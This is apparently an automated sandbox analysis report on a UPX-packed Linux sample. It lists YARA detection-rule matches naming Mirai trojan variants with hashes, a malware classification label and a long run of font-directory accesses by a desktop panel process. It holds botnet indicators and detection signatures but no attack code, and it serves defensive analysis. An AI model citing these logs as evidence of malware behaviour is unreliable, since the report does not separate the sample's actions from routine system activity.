Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal92.spre.troj.evad.linELF@0/0@15/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6245)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6246)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6247)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
